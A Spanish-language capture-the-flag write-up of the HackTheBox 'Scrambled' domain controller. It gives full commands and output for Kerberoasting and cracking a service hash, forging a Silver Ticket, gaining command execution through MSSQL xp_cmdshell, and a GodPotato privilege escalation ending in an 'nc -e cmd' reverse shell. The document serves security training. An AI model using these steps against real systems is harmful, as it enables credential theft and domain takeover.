16 de octubre de 2026 · 8 min de lectura · HackTheBox · Windows · Medium
Scrambled
La máquina (DC1, dominio scrm.local) es un controlador de dominio Windows donde, tras enumerar la web se descubre un usuario (ksimpson) cuya contraseña coincide con su nombre de usuario; con esas credenciales se enumera usuarios por RID brute y se realiza un Kerberoasting contra la cuenta sqlsvc, cuyo hash TGS se crackea con hashcat obteniendo su contraseña. Con las credenciales de sqlsvc (y su hash NT derivado) se fabrica un Silver Ticket para el servicio MSSQL del DC, lo que permite autenticarse como administrator en la base de datos, habilitar xp_cmdshell y obtener RCE; finalmente, aprovechando el privilegio SeImpersonatePrivilege con GodPotato se escala a SYSTEM.
- Dificultad: Medium
- #ActiveDirectory | #KerberosAuth | #Rusthound-ce
- IP: 10.129.37.73
Reconocimiento Inicial
En esta seccion hago un ping para ver el ttl y si tenemos conexion a la maquina.
Empiezo haciendo un ping para enviar un paquete ICMP a la victima, de esta forma podemos hacernos una idea de su sistema operativo y también si tenemos conexión a ella
ping -c1 10.129.37.73
PING 10.129.37.73 (10.129.37.73) 56(84) bytes of data.
64 bytes from 10.129.37.73: icmp_seq=1 ttl=127 time=75.0 ms
--- 10.129.37.73 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 75.041/75.041/75.041/0.000 ms
Vemos que hemos recibido el paquete de vuelta, esto quiere decir que tenemos conexión a la maquina, y también vemos un TTL (Time To Live) de 127 así que podemos asumir que estamos ante una maquina Windows.
Enumeración
En esta parte aparecen los escaneos de nmap, la busqueda del codename, vulnerabilidades para las versiones de los servicios expuestos y añadir el virtualhosting en caso de que halla
Ahora que ya sabemos a que nos enfrentamos vamos a enumerar que puertos están abiertos con nmap.
> rustscan --addresses "$IP" --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
0day was here ♥
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.37.73:53
Open 10.129.37.73:80
Open 10.129.37.73:88
Open 10.129.37.73:135
Open 10.129.37.73:139
Open 10.129.37.73:389
Open 10.129.37.73:445
Open 10.129.37.73:464
Open 10.129.37.73:593
Open 10.129.37.73:636
Open 10.129.37.73:1433
Open 10.129.37.73:3268
Open 10.129.37.73:3269
Open 10.129.37.73:4411
Open 10.129.37.73:5985
Open 10.129.37.73:9389
Open 10.129.37.73:49673
Open 10.129.37.73:49667
Open 10.129.37.73:49674
Open 10.129.37.73:49698
Open 10.129.37.73:49706
Hago un segundo escaneo para enumerar versiones de los servicios de dichos puertos abiertos con los scripts de enumeración de nmap
> nmap -p53,80,88,139,135,389,445,464,593,636,4411,1433,3268,3269,5985,9389,49667,49673,49674,49701,49708 -sCV --min-rate 5000 -Pn -n -oN target 10.129.37.73
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Scramble Corp Intranet
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-15 17:55:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after: 2121-06-08T22:39:53
|_ssl-date: 2026-05-15T17:58:56+00:00; -1s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2026-05-15T17:58:56+00:00; -1s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after: 2121-06-08T22:39:53
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-05-15T17:50:53
|_Not valid after: 2056-05-15T17:50:53
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-05-15T17:58:56+00:00; -1s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after: 2121-06-08T22:39:53
|_ssl-date: 2026-05-15T17:58:56+00:00; -1s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2026-05-15T17:58:56+00:00; -1s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after: 2121-06-08T22:39:53
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.93%I=7%D=5/15%Time=6A075E22%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.
SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLS
SF:SessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourO
SF:hFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%
SF:r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk
SF:-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-15T17:58:17
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 15 18:59:00 2026 -- 1 IP address (1 host up) scanned in 200.89 seconds
Fingerprinting
Aqui busco dentro de esos puertos toda la informacion que pueda, sea fuzzing, enumeracion de subdominios, enumeracion de tecnologias
Web Analysis
En el escaneo de nmap veremos el FQD, asi que ya nos podemos hacer una idea de el dominio principal, aprovechando esto, lo meteremos en nuestro /etc/hosts
> echo "10.129.37.73 scrm.local dc1.scrm.local dc.srcm.local dc01.scrm.local" | sudo tee -a /etc/hosts
ahora que ya tenemos todos los dominios metidos en el /etc/hosts, vamos a revisar la pagina web, pero antes empiezo utilizando whatweb para ver las tecnologías que utiliza.
> whatweb -v http://scrm.local
WhatWeb report for http://scrm.local
Status : 200 OK
Title : Scramble Corp Intranet
IP : 10.129.37.73
Country : RESERVED, ZZ
Summary : HTML5, HTTPServer[Microsoft-IIS/10.0], JQuery, Microsoft-IIS[10.0], Script
Detected Plugins:
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : Microsoft-IIS/10.0 (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Website : http://jquery.com/
[ Microsoft-IIS ]
Microsoft Internet Information Services (IIS) for Windows
Server is a flexible, secure and easy-to-manage Web server
for hosting anything on the Web. From media streaming to
web application hosting, IIS scalable and open
architecture is ready to handle the most demanding tasks.
Version : 10.0
Website : http://www.iis.net/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
HTTP Headers:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 04 Nov 2021 18:13:14 GMT
Accept-Ranges: bytes
ETag: "3aed29a2a7d1d71:0"
Server: Microsoft-IIS/10.0
Date: Fri, 15 May 2026 21:05:01 GMT
Connection: close
Content-Length: 2313
IIS 10.0 (Internet Information Services 10.0) es un servidor web flexible, seguro y administrable desarrollado por Microsoft. Viene integrado en las versiones modernas de Windows (como Windows 10, Windows 11, Windows Server 2016, 2019, 2022 y 2025).
En el reporte de whatweb veremos que nos enfrentamos a un IIS 10.0 (No vulnerable), como no veo nada mas interesante para explotar por alguna version desactualizada, visitare el dominio para ver su contenido
No veo nada interesante a simplevista, asi que utilizo feroxbuster para hacer una busqueda de archivos (Fuzzing)
El Fuzzing (o fuzz testing) es una tecnica que consiste en “bombardear” a un programa con una enorme cantidad de datos de entrada aleatorios, inválidos, inesperados o malformados (llamados fuzz) para ver si se rompe, se congela o se comporta de manera extraña. (En este caso lo utilizamos para buscar archivos validos)
> feroxbuster -u http://scrm.local:80/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,html,txt -t 64
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://scrm.local:80/
🚀 Threads │ 64
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php, html, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 2l 10w 148c http://scrm.local/images => http://scrm.local/images/
200 GET 2l 23w 831c http://scrm.local/assets/js/jquery.scrolly.min.js
200 GET 18l 45w 339c http://scrm.local/assets/css/noscript.css
200 GET 123l 271w 2750c http://scrm.local/assets/js/main.js
200 GET 2l 37w 2257c http://scrm.local/assets/js/jquery.scrollex.min.js
200 GET 2l 87w 2439c http://scrm.local/assets/js/breakpoints.min.js
200 GET 89l 188w 2204c http://scrm.local/support.html
200 GET 587l 1232w 12433c http://scrm.local/assets/js/util.js
200 GET 2l 51w 1851c http://scrm.local/assets/js/browser.min.js
200 GET 84l 156w 2313c http://scrm.local/index.html
200 GET 2l 1276w 88145c http://scrm.local/assets/js/jquery.min.js
200 GET 3801l 7165w 64149c http://scrm.local/assets/css/main.css
200 GET 84l 156w 2313c http://scrm.local/
200 GET 90l 207w 2476c http://scrm.local/supportrequest.html
200 GET 61l 146w 1668c http://scrm.local/passwords.html
200 GET 79l 220w 2340c http://scrm.local/salesorders.html
200 GET 107l 217w 2888c http://scrm.local/newuser.html
301 GET 2l 10w 159c http://scrm.local/assets/css/images => http://scrm.local/assets/css/images/
403 GET 29l 92w 1233c http://scrm.local/assets/css/
403 GET 29l 92w 1233c http://scrm.local/assets/
403 GET 29l 92w 1233c http://scrm.local/assets/js/
301 GET 2l 10w 148c http://scrm.local/Images => http://scrm.local/Images/
301 GET 2l 10w 159c http://scrm.local/assets/css/Images => http://scrm.local/assets/css/Images/
301 GET 2l 10w 148c http://scrm.local/assets => http://scrm.local/assets/
En este reporte veremos algunos endpoints que pueden llegar a ser interesantes asi que vamos a investigarlos.
Cuando visitamos /supportrequest.html podemos encontrar una pequeña guia para poder contactar con el soporte IT, en este aparece una captura de pantalla el cual muestra lo que parece ser un posible usuario
Guardaremos a este usuario en un archivo para mas tarde, seguiremos investigando la web.
Visito otro endpoint interesante seria /support.html donde veremos una alerta confirmandonos que la autenticacion NTLM esta deshabilitada debido a una brecha de seguridad del mes pasado.

Esto nos hace deducir que la authenticacion de toda la maquina sera por kerberos y no por NTLM.
Web Analysis (Extra)
Las Partes extras de este write up son irrelevantes, ya que se muestra contenido de relleno que no tiene que ver con el desarrollo del CTF.
Siguiendo con otros endpoints, veremos uno como /passwords.html este parece ser interesante pero simplemente veremos una explicacion del sistema de reset password que la empresa emplea

“Nuestro sistema de restablecimiento de contraseñas de autoservicio estará en funcionamiento pronto, pero mientras tanto llame a la línea de soporte de TI y restableceremos su contraseña. Si no hay nadie disponible, por favor deje un mensaje indicando su nombre de usuario y restableceremos su contraseña para que sea la misma que el nombre de usuario.”
por ultimo, /newuser.html es un panel para crear una cuenta del un nuevo empleado pero no es funcional.
Foothold
Antes de probar diferentes ataques con el usuario ksimpson, vamos a ver si podemos interactuar con diferentes servicios de forma anonima o invitada.
# Failed
> nxc smb 10.129.37.73 -u '' -p '' # Usuario anonimo
SMB 10.129.37.73 445 DC1 [*] x64 (name:DC1) (domain:scrm.local) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.37.73 445 DC1 [-] scrm.local\: STATUS_NOT_SUPPORTED
# Failed
> nxc smb 10.129.37.73 -u 'Guest' -p '' # Usuario invitado
SMB 10.129.37.73 445 DC1 [*] x64 (name:DC1) (domain:scrm.local) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.37.73 445 DC1 [-] scrm.local\Guest: STATUS_NOT_SUPPORTED
no funciona ninguno de las 2 tecnicas asi que, por metodologia empiezo comprobando si el usuario ksimpson utiliza el mismo nombre de usuario que de contraseña, añadiendo tambien la opcion -k para asegurarnos de que estamos autenticandonos con kerberos y no con NTLM
>nxc smb 10.129.37.73 -u 'ksimpson' -p 'ksimpson' -k
SMB 10.129.37.73 445 DC1 [*] x64 (name:DC1) (domain:scrm.local) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.37.73 445 DC1 [+] scrm.local\ksimpson:ksimpson
vemos que las credenciales ksimpson:ksimpson son validas, esto nos abre muchas mas puertas para proximos ataques, pero, antes de realizar cualquier ataque por kerberos vamos a crear un archivo de configuracion que guardaremos en una variable de entorno.
nxc smb 10.129.37.73 --generate-krb5-file content/krb5.conf
El archivo
krb5.confes el archivo de configuración central que utiliza el protocolo Kerberos en sistemas basados en Linux/Unix.Este archivo le dice a tu sistema:
El nombre del Dominio (Realm): Por ejemplo,
CORP.LOCAL.El Centro de Distribución de Claves (KDC): Qué máquina (IP o nombre de host) maneja las contraseñas y los tickets de Kerberos (en este caso, la IP
10.129.37.73).
Ahora para que herramientas de impacket usen el archivo que acabamos de generar lo tendremos que guardar en una variable de entorno
export KRB5_CONFIG=$(pwd)/content/krb5.conf
Ahora que ya lo tenemos exportado, y que sabemos que son credenciales validas, podremos ver recursos compartidos podemos ver con el usuario ksimpson
> nxc smb 10.129.37.73 -u 'ksimpson' -p 'ksimpson' -k --shares
SMB 10.129.37.73 445 DC1 [*] x64 (name:DC1) (domain:scrm.local) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.37.73 445 DC1 [+] scrm.local\ksimpson:ksimpson
SMB 10.129.37.73 445 DC1 [*] Enumerated shares
SMB 10.129.37.73 445 DC1 Share Permissions Remark
SMB 10.129.37.73 445 DC1 ----- ----------- ------
SMB 10.129.37.73 445 DC1 ADMIN$ Remote Admin
SMB 10.129.37.73 445 DC1 C$ Default share
SMB 10.129.37.73 445 DC1 HR
SMB 10.129.37.73 445 DC1 IPC$ READ Remote IPC
SMB 10.129.37.73 445 DC1 IT
SMB 10.129.37.73 445 DC1 NETLOGON READ Logon server share
SMB 10.129.37.73 445 DC1 Public READ
SMB 10.129.37.73 445 DC1 Sales
SMB 10.129.37.73 445 DC1 SYSVOL READ Logon server share
Teniendo el recurso compartido IPC$ podemos enumerar usuarios de forma rapida, con netexec/crackmapexec
La funcion de IPC$ es puramente técnica: actúa como un “puente” o un canal de comunicación para que dos computadoras compartan información y ejecuten comandos de forma remota. Utiliza el protocolo SMB y un mecanismo llamado Named Pipes (Tuberías con nombre) para permitir que los programas se hablen entre sí a través de la red.
> nxc smb 10.129.37.73 -u 'ksimpson' -p 'ksimpson' -k --rid-brute | grep -oP 'SCRM\\\K[^ ]+(?=\s+\(SidTypeUser\))' | tee users
administrator
Guest
krbtgt
DC1$
tstar
asmith
sjenkins
sdonington
WS01$
backupsvc
jhall
rsmith
ehooker
khicks
sqlsvc
miscsvc
ksimpson
ya tenemos una lista de usuarios, lo siguiente que probe fue hacer una tecnica llamada UserAsPass, esta tecnica nos sirve para saber si los usuarios encontrados tienen la misma contraseña que nombre de usuario
> nxc smb 10.129.37.73 -u users -p users --no-bruteforce -k --continue-on-success
SMB 10.129.37.73 445 DC1 [*] x64 (name:DC1) (domain:scrm.local) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.37.73 445 DC1 [-] scrm.local\administrator:administrator KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\Guest:Guest KDC_ERR_CLIENT_REVOKED
SMB 10.129.37.73 445 DC1 [-] scrm.local\krbtgt:krbtgt KDC_ERR_CLIENT_REVOKED
SMB 10.129.37.73 445 DC1 [-] scrm.local\DC1$:DC1$ KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\tstar:tstar KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\asmith:asmith KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\sjenkins:sjenkins KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\sdonington:sdonington KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\WS01$:WS01$ KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\backupsvc:backupsvc KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\jhall:jhall KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\rsmith:rsmith KDC_ERR_CLIENT_REVOKED
SMB 10.129.37.73 445 DC1 [-] scrm.local\ehooker:ehooker KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\khicks:khicks KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\sqlsvc:sqlsvc KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [-] scrm.local\miscsvc:miscsvc KDC_ERR_PREAUTH_FAILED
SMB 10.129.37.73 445 DC1 [+] scrm.local\ksimpson:ksimpson
Solo nos devuelve como valido el usuario que ya teniamos, ksimpson, siguiendo con otros ataques voy a pedir un ticket TGT como el usuario ksimpson, gracias a este TGT, no vamos a tener que indicar contraseña en herramientas como impacket
Un Ticket Granting Ticket (TGT) es un ticket de autenticación usado en el protocolo Kerberos. Cuando un usuario se autentica correctamente ante el Servicio de Autenticación (AS), recibe este ticket. El TGT permite al usuario solicitar tickets de servicio adicionales sin tener que volver a ingresar sus credenciales, durante la vigencia del TGT (generalmente varias horas).
> getTGT.py -dc-ip "10.129.37.73" "scrm.local"/"ksimpson":"ksimpson"
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ksimpson.ccache
Una vez tengamos el TGT guardado vamos a exportarlo para que herramientas como impacket puedan utilizarlo.
export KRB5CCNAME="$(pwd)/ksimpson.ccache"
Ya lo tenemos exportado, y con eso, todos los requisitos para hacer un ataque kerberoasting con authenticacion kerberos con la herramienta impacket.
> GetUserSPNs.py -k -no-pass scrm.local/ksimpson@dc1.scrm.local -dc-host dc1.scrm.local -request
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm....<SNIP>....c8a58a3f3bf58594f3
Un usuario es vulnerable a Kerberoasting porque tiene un SPN (Service Principal Name) asociado a su cuenta. Cuando cualquier usuario del dominio solicita un ticket de servicio (TGS) para ese SPN, el Controlador de Dominio lo entrega cifrado con la clave NTLM de la cuenta que posee el SPN (no con la clave del solicitante). Ese ticket puede ser capturado y crackeado offline para obtener la contraseña, sin importar si el solicitante tenía o no permiso para usar el servicio.
Gracias a este ataque obtuvimos un TGS, vamos a crackearlo con hashcat y asi obtener las credenciales del usuario sqlsvc (recomiendo añadir el hash en un archivo para que hashcat lo pueda crackear)
> hashcat hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm....<SNIP>....c8a58a3f3bf58594f3:Pegasus60
Con la contraseña del usuario sqlsvc vamos a ver pedir otro TGT con la herramienta getTGT.py para poder autenticarnos con el usuario que acabamos de encontrar
> getTGT.py -dc-ip "10.129.37.73" "scrm.local"/"sqlsvc":"Pegasus60"
> export KRB5CCNAME="$(pwd)/sqlsvc.ccache"
Escalada de privilegios
Teniendo ya un usuario vamos a saber para que nos sirve, intentando utilizar nxc al servicio mssql vemos un error bastante grande, este error nos puede indicar que vamos a tenet que hacer un ataque silver ticket para poder conectarnos al servicio mssql
Silver Ticket attack es un ataque de forjado de tickets Kerberos que te permite acceder a un servicio específico (como MSSQL, HTTP, CIFS) en un servidor concreto, sin necesidad de comunicarte con el Controlador de Dominio (DC).
Para este ataque necesitaremos el SID de dominio y tambien necesitaremos el HASH NT de nuestro usuario actual (sqlsvc), empezando por el el hash nt podemos forjar uno con el siguiente oneliner
export NT_HASH=$(printf '%s' 'Pegasus60'| iconv -t utf16le | openssl md4 | awk '{print $NF}')
Y ya tendremos guardada en una variable de entorno el hash nt, ahora nos falta el SID de dominio, este SID lo podremos sacar con bloodhound o lookupsid.py.

Copiaremos este SID para nuestro ataque silver ticket y con esto ya esta todo preparado para efectuar el ataque
> ticketer.py -nthash "$NT_HASH" -spn HOST/"dc1.scrm.local" -domain-sid "S-1-5-21-2743207045-1827831105-2542523200" -domain "scrm.local" sqlsvc
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/sqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in sqlsvc.ccache
Ya hemos forjado nuestro TGS nuevamente asi que vamos a exportarlo y a probar si podemos conectarnos por mssql
> export KRB5CCNAME="$(pwd)/sqlsvc.ccache"
> mssqlclient.py dc1.scrm.local -k -no-pass
Estamos dentro de la base de datos MSSQL, si nos fijamos bien, somos administrator, lo que significa que podemos ejecutar comandos a nivel de sistema.
> enable_xp_cmdshell #Activamos la opcion de ejecucion de comandos
> EXEC xp_cmdshell 'whoami'; # comprobamos que podemos ejecutar comandos
Ahora que podemos ejecutar comandos a nivel de sistema vamos a subir una revshell para poder manejar mejor nuestro RCE, en mi caso, voy a utilizar una shell de revshells.com.

ya tenemos shell, ahora vamos a inspeccionar nuestros privilegios para ver si podemos abusar de alguno
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Veremos un SeImpersonatePrivilege, asi que podemos utilizar GodPotato para abusar de el.
(Tenemos que subir GodPotato y nc a la victima)
.\GodPotato-NET4.exe -cmd "cmd /c C:\ProgramData\nc.exe -e cmd <ip> <port>"
nos podremos en escucha por el puerto que hallamos indicado con nuestra IP local y ya seremos administrator.
Happy Hacking!!